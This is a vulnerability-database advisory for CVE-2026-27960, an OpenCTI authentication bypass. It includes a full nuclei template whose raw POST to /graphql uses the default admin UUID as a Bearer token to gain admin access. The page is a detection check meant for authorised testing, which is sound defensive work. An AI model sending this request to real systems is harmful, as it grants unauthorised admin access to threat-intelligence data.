Browse / CVEs / CVE-2026-27960
CVE-2026-27960· opencti / opencti· CWE-287
OpenCTI < 6.9.13 - Authentication Bypass via User Impersonation
criticalseverity
9.8CVSS score
7.1%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it
OpenCTI < 6.9.13 allows authentication bypass by supplying a Bearer token set to the admin user's internal_id UUID instead of a valid JWT. The default admin internal_id (88ec0c6a-13ce-5e39-b486-354fe4a7084f) grants full admin access to the GraphQL API, effectively bypassing all authentication.
Impact
An unauthenticated attacker can gain full admin access to the OpenCTI GraphQL API, including reading and modifying all threat intelligence data.
Fix
Upgrade OpenCTI to version 6.9.13 or later.
How to confirm it
Send: POST /graphql
Positive when: regex("\"data\"\\s*:\\s*\\{\\s*\"me\"\\s*:\\s*\\{[^{}]*\"user_email\"\\s*:\\s*\"[^\"]+\"", body) and status_code == 200Run it with nuclei: nuclei -id CVE-2026-27960 -u <target>
The full check
id: CVE-2026-27960
info:
name: OpenCTI < 6.9.13 - Authentication Bypass via User Impersonation
author: DhiyaneshDk
severity: critical
description: |
OpenCTI < 6.9.13 allows authentication bypass by supplying a Bearer token set to the admin user's internal_id UUID instead of a valid JWT. The default admin internal_id (88ec0c6a-13ce-5e39-b486-354fe4a7084f) grants full admin access to the GraphQL API, effectively bypassing all authentication.
impact: |
An unauthenticated attacker can gain full admin access to the OpenCTI GraphQL API, including reading and modifying all threat intelligence data.
remediation: |
Upgrade OpenCTI to version 6.9.13 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-27960
- https://www.pruva.dev/reproductions/REPRO-2026-00314
- https://www.pruva.dev/reproductions/REPRO-2026-00331
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-27960
epss-score: 0.07086
epss-percentile: 0.94275
cwe-id: CWE-287
metadata:
verified: true
max-request: 1
vendor: opencti
product: opencti
tags: cve,cve2026,opencti,auth-bypass,unauth,vkev
http:
- raw:
- |
POST /graphql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer 88ec0c6a-13ce-5e39-b486-354fe4a7084f
{"query":"{ me { user_email name } }"}
matchers:
- type: dsl
dsl:
- 'regex("\"data\"\\s*:\\s*\\{\\s*\"me\"\\s*:\\s*\\{[^{}]*\"user_email\"\\s*:\\s*\"[^\"]+\"", body)'
- 'status_code == 200'
condition: and
extractors:
- type: json
part: body
json:
- '.data.me.user_email'References
- https://nvd.nist.gov/vuln/detail/CVE-2026-27960
- https://www.pruva.dev/reproductions/REPRO-2026-00314
- https://www.pruva.dev/reproductions/REPRO-2026-00331
Use this check only on systems you are authorised to test. Where the data comes from